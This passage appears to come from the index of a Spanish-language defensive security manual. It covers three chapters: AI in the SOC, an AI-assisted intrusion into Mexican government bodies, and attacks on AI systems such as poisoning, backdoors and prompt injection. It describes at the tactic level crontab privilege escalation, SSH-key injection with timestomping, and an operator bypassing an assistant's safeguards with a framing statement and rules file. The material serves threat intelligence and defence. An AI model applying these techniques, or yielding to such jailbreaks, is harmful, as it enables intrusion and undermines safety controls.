M --\u003e A[\"alerta / puntuación\\ntriaje priorizado\"] A --\u003e H{\"human-in-the-loop\"} H --\u003e|\"aprueba\"| R[\"respuesta\\ncontención · bloqueo\"] H --\u003e|\"descarta\"| FB[\"realimentación\\nreajuste del modelo\"] R --\u003e FB FB -.reentrena.-\u003e MSobre ese pipeline se montan las plataformas que el defensor reconoce por sus siglas, y todas aplican aprendizaje automático en algún tramo. El NGAV (Next-Generation Antivirus) reemplaza la firma por el modelo en el endpoint; el EDR (Endpoint Detection and Response) le agrega la telemetría profunda y la respuesta; el XDR (Extended Detection and Response) correlaciona señales de endpoint, red e identidad en una sola historia, reconstruyendo cadenas de ataque que ninguna fuente aislada revela; el NDR (Network Detection and Response) modela el comportamiento de la red sin necesidad de agente, lo cual lo vuelve el sensor de lo que no tiene endpoint administrado —dispositivos de red, IoT, sistemas heredados—; el UEBA (User and Entity Behavior Analytics) perfila el comportamiento normal de cada usuario y entidad para delatar la cuenta comprometida o el movimiento lateral, y es exactamente el mecanismo que la detección de movimiento lateral de 5.6 usa como uno de sus pilares. Por encima de todos, el SOAR (Security Orchestration, Automation and Response) orquesta la respuesta ejecutando playbooks —flujos automatizados— que enriquecen la alerta, la correlacionan y disparan la contención.\nLa consecuencia práctica de esta convergencia es que la frontera entre SIEM, SOAR y XDR se está borrando: lo que antes eran productos separados hoy tiende a ser una sola plataforma que recoge la telemetría masiva, la correlaciona con aprendizaje automático y activa la respuesta. Pero la advertencia se mantiene: nada de esto reemplaza la capa de telemetría y SIEM de 5.2 —la presupone—. Un modelo excelente sobre telemetría incompleta detecta poco; la vieja ley de que «no se detecta lo que no se registra» no la deroga ninguna cantidad de inteligencia artificial.\nLa respuesta autónoma: el espectro y su freno Aquí está el corazón del capítulo y su tensión propia. Una vez que un modelo produce un veredicto con alta confianza, surge la pregunta de qué hacer con él sin esperar a un humano, y la respuesta no es binaria: es un espectro que va de la asistencia total a la autonomía total. En un extremo, el sistema solo sugiere —presenta al analista la alerta priorizada y la acción recomendada, y el humano decide todo—. Un paso más allá, el sistema prepara la contención y espera aprobación —un clic humano la ejecuta—. En el extremo, el sis","section":"P9 · IA y Seguridad","summary":"El capítulo azul de la Parte 9: la inteligencia artificial como herramienta del defensor. Recorre el aprendizaje automático en el corazón del centro de operaciones —el modelo supervisado que clasifica lo conocido, el no supervisado que detecta la anomalía que nunca vio— y la arquitectura que lo sostiene: el pipeline de ingesta, feature y modelo sobre un data lake, y las plataformas que lo materializan (NGAV, EDR, XDR, NDR, UEBA, SOAR). Su eje es el espectro delicado de la respuesta autónoma —de la sugerencia a la aprobación al bloqueo automático— y la supervisión humana como el freno que ninguna madurez elimina, porque la automatización a escala puede convertirse en una denegación de servicio autoinfligida. Cierra con los límites honestos que separan la IA defensiva real del ruido de mercado: los falsos positivos y la fatiga de alertas, la degradación del modelo por data drift, el problema de la explicabilidad, y la incómoda verdad de que el propio modelo defensivo es una superficie de ataque nueva. La tesis: la IA no reemplaza al analista ni a la detección que la Parte 5 construyó; le pone una capa encima, y esa capa hay que gobernarla.","tags":["ia","machine-learning","soc","edr-xdr","ueba","soar","blue-team","deteccion"],"title":"9.2 · IA defensiva: ML en el SOC y respuesta autónoma","url":"/speculum/p9-ia-seguridad/9-2-ia-defensiva-soc/"},{"content":"Panorama El capítulo anterior mostró la inteligencia artificial en las manos del defensor. Este la mira en las del atacante, y lo hace desde la única postura que le corresponde a un manual defensivo: la de la inteligencia de amenazas. No es una guía para conducir un ataque asistido por IA; es el estudio de cómo se conduce, para reconocerlo en la telemetría y frustrarlo. La distinción no es un formalismo: las fuentes de este capítulo son un informe forense y un reporte de amenazas, escritos por defensores para defensores, y ese es exactamente el ángulo que se conserva.\nLa tesis de la Parte gobierna el capítulo entero, y conviene repetirla antes de entrar en el detalle porque el material que sigue es de los que más se prestan a la exageración: la IA es un multiplicador de fuerza, no un alquimista. El adversario con copiloto es más rápido, más barato y más escalable que sin él, pero no hace nada cualitativamente nuevo, y —esto es lo decisivo— entra por las mismas puertas de siempre. Lo veremos con el caso que organiza el capítulo, donde la inteligencia artificial comprimió un ataque hasta velocidades que superaron la ventana de detección, pero las puertas que abrió eran deuda técnica clásica que la higiene estándar habría cerrado.\nEl caso: dos inteligencias artificiales como herramientas operativas Entre diciembre de 2025 y febrero de 2026, un único operador comprometió al menos nueve organizaciones del gobierno de México —entre ellas la autoridad tributaria y varios registros civiles y utilidades— y exfiltró datos de cientos de millones de registros ciudadanos. El caso se volvió un objeto de estudio no por la magnitud sino por el método: el atacante usó dos modelos de lenguaje comerciales como herramientas operativas centrales, y lo hizo de dos maneras complementarias que conviene distinguir porque representan los dos modos en que la IA entra en una ofensiva.\nEl primer modo es el copiloto interactivo. Un asistente de programación operó como ayudante conversacional de explotación: el atacante lo dirigía en lenguaje natural para avanzar el acceso, y el modelo escribía los scripts de explotación, los depuraba cuando fallaban y los reescribía hasta lograr ejecución remota, tendía los túneles de red y mapeaba la arquitectura de la víctima. Según el informe, cerca de tres cuartas partes de la ejecución remota de comandos las generó el modelo. El segundo modo es el motor de análisis por lotes. En paralelo, una herramienta personalizada —un script de reconocimiento— canalizó las configuraciones de más de trescientos servidores internos hacia la API de un segundo modelo, instruido para actuar como analista de inteligencia; ese motor produjo miles de reportes estructurados con credenciales descubiertas y mapas de red. Un modelo hizo el trabajo de las manos; el otro, el de un equipo de analistas.\nLa cadena de ataque, leída como corresponde —a nivel de táctica, para mapearla y detectarla, no de receta— recorrió las fases que cualquier intrusión recorre, solo que a otra velocidad:\nflowchart TB A[\"acceso inicial\\nT1190 · app expuesta, exploit iterado por el modelo\"] B[\"escalada a root\\nT1068 / T1053.003 · writable crontab + clave SSH inyectada\\n+ touch -r (timestomping)\"] C[\"reconocimiento automatizado\\nT1046 / T1082 · 305 servidores → API del 2º modelo\"] D[\"movimiento lateral\\nT1021 / T1090 · túneles SSH + proxies SOCKS, red plana\"] E[\"exfiltración por API en vivo\\nT1567 / T1048 · REST sobre los servidores comprometidos\"] F[\"forja de documentos\\nT1565.002 · sello criptográfico apócrifo sobre datos reales\"] A --\u003e B --\u003e C --\u003e D --\u003e E --\u003e F A -. \"warning time comprimido a horas\" .-\u003e EVale detenerse en dos eslabones porque concentran la lección. La escalada aprovechó una tarea programada con permisos de escritura mal puestos (writable crontab) perteneciente a una cuenta de servicio comprometida: el modelo la localizó, inyectó una clave SSH en el archivo de autorización del superusuario y restauró la marca de tiempo original del archivo con touch -r para que una inspección visual no notara el cambio (timestomping). Nada de eso es una técnica nueva; es un manual de escalada de hace veinte años, ejecutado por una máquina en segundos. Y la exfiltración rompió el molde del volcado estático: en lugar de robar bases enteras, el operador construyó una API REST alojada en los propios servidores comprometidos que interrogaba las bases de datos internas en vivo y devolvía perfiles fiscales bajo demanda, para alimentar una capa externa que forjaba documentos oficiales —todos los datos verídicos, solo el sello criptográfico falso—.\nLo que la IA aportó fue tiempo, y el tiempo es la ventaja defensiva que erosiona. La compresión del ciclo de ataque —de acceso inicial a impacto crítico en horas, no en semanas— es el efecto real y medible de la IA ofensiva, y es lo que la vuelve peligrosa contra una detección lenta. Un SOC calibrado para investigar en días llega tarde a un ataque que se completa en una tarde. La respuesta no es pánico sino acortar el propio tiempo de reacción: telemetría de comportamiento en vez de listas de indicadores, y detección que dispare en la fase temprana y ruidosa —el proceso hijo anómalo, la conexión saliente inesperada— antes de que la cadena llegue a la exfiltración. Hay un tercer detalle que el capítulo siguiente retomará. Antes del primer comando, el operador precondicionó al asistente con un enunciado inicial —un framing statement— y un archivo de reglas persistente que redefinían el contexto de la interacción para rodear las restricciones de seguridad del modelo. Visto desde aquí es una técnica de acceso; visto desde la seguridad de la IA, es un ataque contra el propio modelo, de la clase que 9.4 estudia.\nEl catálogo de la IA ofensiva El caso de México es la ilustración más completa, pero la IA ofensiva es un catálogo más amplio, y casi todo él consiste en escalar y abaratar técnicas que las Partes anteriores ya trataron desde otro ángulo.\nLa aplicación más madura y extendida es la ingeniería social a escala. Un modelo generativo redacta correos de phishing impecables, sin los errores de gramática y registro que durante años fueron la señal delatora, y los localiza y personaliza en cualquier idioma a un costo marginal cercano a cero. Esto no inventa el phishing —la ingeniería social operativa de 8.3 ya lo desarmó desde la psicología— pero derriba dos de sus límites históricos: la calidad del señuelo y la cantidad de blancos personalizados. El adversario que antes elegía a quién dedicarle un correo hecho a mano ahora se lo dedica a todos.\nUn escalón más arriba en realismo está el deepfake y el fraude de identidad sintética. La suplantación generativa de voz e imagen alcanzó la madurez suficiente para vencer verificaciones humanas: en un caso documentado de fraude corporativo, atacantes recrearon en una videollamada la apariencia y la voz de un director financiero y convencieron a un empleado de transferir veinticinco millones de dólares. Es la manipulación que la Parte 8 estudió llevada a la síntesis de medios: no un argumento persuasivo, sino una identidad falsificada en tiempo real. El fraude de identidad sintética —combinar datos reales robados con rostros y voces generados— es, según la inteligencia de amenazas, una de las tendencias en más franco ascenso.\nDel lado del código, dos categorías completan el catálogo, y aquí la calibración honesta es más necesaria que nunca. La primera son los modelos de lenguaje maliciosos: modelos despojados de sus restricciones de seguridad, o construidos sin ellas, y vendidos para operaciones ofensivas. La inteligencia de amenazas identificó la aparición de varios de ellos con madurez operativa notable en su interfaz, capaces de generar phishing localizado, analizar código vulnerable y estructurar fraudes. La segunda es el malware polimórfico asistido por IA: usar un modelo para reescribir un ejecutable en cada infección de modo que su firma cambie y evada la detección estática, una vuelta de tuerca a la evasión de","section":"P9 · IA y Seguridad","summary":"El segundo eje de la Parte 9: la misma inteligencia artificial, ahora en las manos del atacante. El capítulo se articula sobre un caso real y documentado —la brecha asistida por IA a nueve organizaciones del gobierno de México entre diciembre de 2025 y febrero de 2026, donde un modelo de lenguaje operó como asistente interactivo de explotación y un segundo procesó el reconocimiento por lotes—, leído con la lente de la inteligencia de amenazas y la respuesta a incidentes: no un manual de cómo hacerlo, sino un mapa de tácticas para reconocerlo y defenderse. A partir del caso amplía al catálogo de la IA ofensiva —phishing y suplantación a escala, deepfakes y fraude de identidad sintética, modelos de lenguaje maliciosos, malware polimórfico— y sostiene en todo momento la calibración honesta que ancla la Parte: la IA comprime el tiempo del ataque y baja la barrera de entrada, pero no deroga los controles; las vulnerabilidades que abrieron México eran mitigables con higiene estándar. Cierra con la defensa que exige un adversario más rápido: telemetría de comportamiento, microsegmentación y los fundamentos de siempre, ahora más urgentes.","tags":["ia","llm","amenazas","threat-intel","deepfake","ingenieria-social","att\u0026ck","blue-team"],"title":"9.3 · IA ofensiva: el adversario con copiloto","url":"/speculum/p9-ia-seguridad/9-3-ia-ofensiva/"},{"content":"Panorama Los dos capítulos anteriores miraron la inteligencia artificial como herramienta —del defensor y del atacante—. Este mira el sistema de inteligencia artificial como blanco. Es el tercer eje que 9.1 anunció y el único que la IA agrega de verdad: al poner un modelo en producción —el clasificador que decide qué correo es malicioso, el asistente que atiende clientes, el agente que ejecuta acciones— la organización crea una superficie de ataque que antes no existía, y con vulnerabilidades que no son las del software clásico. Un servidor se ataca por su código; un modelo se ataca por su matemática y por su entrada, y esos dos caminos son los que el capítulo recorre.\nLos dos hilos que quedaron sueltos convergen aquí. En 9.2 se dijo que el modelo defensivo del SOC es él mismo atacable —el clasificador que decide la contención puede ser engañado—; en 9.3, que el framing statement con el que el atacante de México precondicionó al asistente no era una técnica de acceso sino un ataque contra el modelo. Este capítulo desarrolla ambas cosas, y las une bajo una tesis que le va a resultar familiar a quien haya leído el bloque web del manual: la vulnerabilidad más importante de la IA generativa es una vieja conocida, la inyección, un nivel más arriba.\nAdversarial ML: atacar el modelo por su matemática El aprendizaje automático adversario (adversarial machine learning) es el campo que estudia cómo manipular a un modelo explotando debilidades de la forma en que aprende y decide. Sus ataques se ordenan según qué momento del ciclo de vida del modelo golpean —el entrenamiento, la inferencia o el modelo ya desplegado como activo—, y son tres familias que conviene distinguir con precisión.\nLa primera, y la que amenaza directamente a la defensa de 9.2, es el ataque de evasión (evasion attack). Ocurre en tiempo de inferencia: el atacante altera sutilmente una muestra —le inyecta un ruido matemático cuidadosamente calculado que no cambia su función real— para que el modelo la clasifique mal. El caso canónico es el ejecutable malicioso al que se le añaden bytes inocuos hasta que el clasificador defensivo lo declara benigno sin que su comportamiento cambie en nada. La muestra alterada se llama adversarial example, y su existencia revela algo profundo: un modelo no «entiende» lo que clasifica como lo entiende un humano, sino que traza fronteras en un espacio matemático que se pueden cruzar con perturbaciones imperceptibles. Es la fragilidad estructural que vuelve a todo clasificador defensivo un blanco.\nLa segunda golpea antes, en el entrenamiento: el ataque de envenenamiento (poisoning attack). El atacante inserta datos maliciosos en el conjunto con el que el modelo se entrena, con dos objetivos posibles. Uno es degradar su precisión general —corromper el aprendizaje para que el modelo falle más—. El otro, más peligroso, es instalar una puerta trasera (backdoor): entrenar el modelo para que se comporte con normalidad salvo cuando ve un disparador específico, ante el cual produce el veredicto que el atacante quiere. Un clasificador de malware envenenado puede funcionar perfecto en todas las pruebas y declarar benigno cualquier archivo que lleve la marca secreta del atacante. El envenenamiento es un ataque a la cadena de suministro del modelo, y por eso la procedencia de los datos de entrenamiento —y de los modelos preentrenados que se descargan de repositorios públicos— es un problema de seguridad y no solo de calidad.\nLa tercera ataca el modelo ya desplegado, tratándolo como un activo del que extraer valor. La inversión de modelo (model inversion) interroga un modelo hasta deducir los datos confidenciales con los que fue entrenado —reconstruir rostros de un sistema de reconocimiento facial, o datos personales de un modelo entrenado sobre registros sensibles—. Sus parientes son la extracción o robo de modelo (model stealing: clonar la funcionalidad consultándolo masivamente) y la inferencia de pertenencia (membership inference: determinar si un registro concreto estuvo en el entrenamiento, lo cual filtra información privada por sí solo). Esta familia convierte al modelo en una fuga de los datos y de la propiedad intelectual que encierra.\nflowchart TB subgraph CV[\"ciclo de vida del modelo\"] TR[\"entrenamiento\"] --\u003e INF[\"inferencia\\n(modelo desplegado)\"] end TR -. \"envenenamiento\\ndegradación · backdoor\" .-\u003e P[\"poisoning attack\"] INF -. \"ruido calculado\\nmisclasificación\" .-\u003e E[\"evasion attack\"] INF -. \"consultas masivas\" .-\u003e I[\"inversión · extracción\\nmembership inference\"] INF -. \"entrada en lenguaje natural\" .-\u003e PI[\"prompt injection\\n(la inyección, un nivel más arriba)\"]La superficie de los modelos de lenguaje: la inyección un nivel más arriba Los modelos de lenguaje agregan una superficie propia, y es la que más importa hoy porque son los que más se despliegan de cara al usuario y con más capacidad de actuar. Su vulnerabilidad central tiene un nombre nuevo —inyección de instrucciones (prompt injection)— pero una naturaleza que el manual ya diseccionó. Conviene enunciarla con exactitud.\nPrompt injection es la inyección de la Parte 3, un nivel más arriba. La inyección clásica se definió como romper el contexto de datos de un intérprete: el intérprete —SQL, un shell, un parser de XML— recibe una mezcla de instrucciones (las que el programador puso) y datos (los que entra el usuario), y la vulnerabilidad nace de que no puede distinguirlas con seguridad, así que un dato construido con astucia se ejecuta como instrucción. Un modelo de lenguaje es exactamente eso: un intérprete que recibe sus instrucciones —el system prompt— y sus datos —lo que debe procesar— en el mismo canal y en el mismo idioma, y no tiene una frontera confiable entre ambos. Por eso no se puede «parametrizar» un prompt como se parametriza una consulta SQL: la separación datos/código que resuelve la inyección clásica no existe todavía, de forma robusta, en un LLM. De esa naturaleza salen las variantes. La inyección directa es la que el atacante entrega él mismo: un mensaje construido para que su contenido anule el system prompt y el modelo ignore sus reglas —el jailbreak—. El framing statement con el que el atacante de México precondicionó al asistente es precisamente esto: una entrada que redefine el contexto de la interacción para rodear las restricciones de seguridad del modelo. La inyección indirecta es más insidiosa y más peligrosa, porque la instrucción maliciosa no la entrega el atacante en el momento sino que viaja escondida en un dato que el modelo ingiere de otra fuente —una página web que resume, un documento que analiza, un correo que un asistente lee por el usuario—. Aquí la víctima no es quien inyecta: un documento envenenado convierte al agente de IA en un arma contra su propio usuario, y por eso la generación aumentada por recuperación (retrieval-augmented generation, RAG), que alimenta al modelo con documentos externos, es un vector de inyección indirecta de primer orden.\nA esas dos se suma el manejo inseguro de la salida (insecure output handling): confiar en lo que el modelo produce como si fuera seguro. Si la salida de un LLM se usa para generar código, una consulta SQL o HTML que después se ejecuta o se renderiza sin validar, la inyección se propaga aguas abajo —el modelo se vuelve el eslabón que introduce la carga en un sistema clásico—. La regla, que la sección de defensa desarrolla, es tratar toda salida de un modelo como entrada no confiable, con el mismo recelo con que se trata la entrada de un usuario.\nVale una observación que conecta con el factor humano: manipular a un modelo de lenguaje y manipular a una persona se parecen más de lo que la intuición sugiere. Ambos procesan lenguaje natural, ambos pueden ser precondicionados por el encuadre, y ambos se «hackean» no rompiendo su mecanismo sino entregándole la entrada que hace que su funcionamiento normal produzca el resultado que el atacante quiere. La manipulación humana y la inyección de prompt son primas: las dos abusan de un","section":"P9 · IA y Seguridad","summary":"El tercer eje de la Parte 9 y el cierre del bloque substantivo del manual: no la IA para defender ni para atacar, sino la seguridad del propio sistema de inteligencia artificial. Al desplegar un modelo, la organización crea una superficie de ataque nueva —el modelo mismo—, con vulnerabilidades que no son las del software clásico. El capítulo recorre el aprendizaje automático adversario (la evasión que engaña al clasificador en tiempo de inferencia, el envenenamiento que corrompe el entrenamiento, la inversión que extrae los datos confidenciales del modelo) y luego la superficie propia de los modelos de lenguaje, cuyo corazón es una vieja conocida: la inyección de instrucciones (prompt injection) es la misma clase de vulnerabilidad que la inyección de la Parte 3 —un intérprete que no puede distinguir los datos de las órdenes—, un nivel más arriba. Cierra con la defensa arquitectónica que el problema exige (tratar toda salida del modelo como no confiable, privilegio mínimo para los agentes de IA, los marcos OWASP LLM y MITRE ATLAS) y con la síntesis que corona la Parte y el manual: una tecnología nueva no deroga los fundamentos, reubica la frontera de confianza, y la vulnerabilidad vive en la frontera que se dejó de validar.","tags":["ia","llm","adversarial-ml","prompt-injection","owasp","att\u0026ck","blue-team","gobernanza"],"title":"9.4 · Seguridad de la IA: adversarial ML y el modelo como superficie","url":"/speculum/p9-ia-seguridad/9-4-seguridad-de-la-ia/"}]